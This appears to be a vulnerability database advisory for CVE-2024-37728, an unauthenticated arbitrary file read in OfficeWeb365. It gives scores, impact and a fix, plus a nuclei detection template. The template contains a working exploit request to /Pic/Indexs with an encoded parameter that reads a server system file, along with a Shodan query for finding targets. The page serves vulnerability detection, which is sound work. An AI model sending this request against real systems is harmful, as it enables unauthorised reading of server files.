HexBrain

Browse / CVEs / CVE-2024-37728

CVE-2024-37728· CWE-22

OfficeWeb365 Indexs Interface - Arbitrary File Read

highseverity
7.5CVSS score
1.9%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

There is any file reading in the officeWeb365 Indexs interface.

Impact

Unauthenticated attackers can read arbitrary files from the OfficeWeb365 server.

Fix

Update OfficeWeb365 to a version that patches the arbitrary file read vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09
Positive when: contains "for 16-bit app support" AND contains "image/png" AND status 200

Run it with nuclei: nuclei -id CVE-2024-37728 -u <target>

The full check
id: CVE-2024-37728

info:
  name: OfficeWeb365 Indexs Interface - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    There is any file reading in the officeWeb365 Indexs interface.
  impact: |
    Unauthenticated attackers can read arbitrary files from the OfficeWeb365 server.
  remediation: |
    Update OfficeWeb365 to a version that patches the arbitrary file read vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/OfficeWeb365_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-37728
    epss-score: 0.01852
    epss-percentile: 0.79307
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: "OfficeWeb365"
  tags: cve,cve2024,officeweb365,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: word
        part: body
        words:
          - "image/png"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from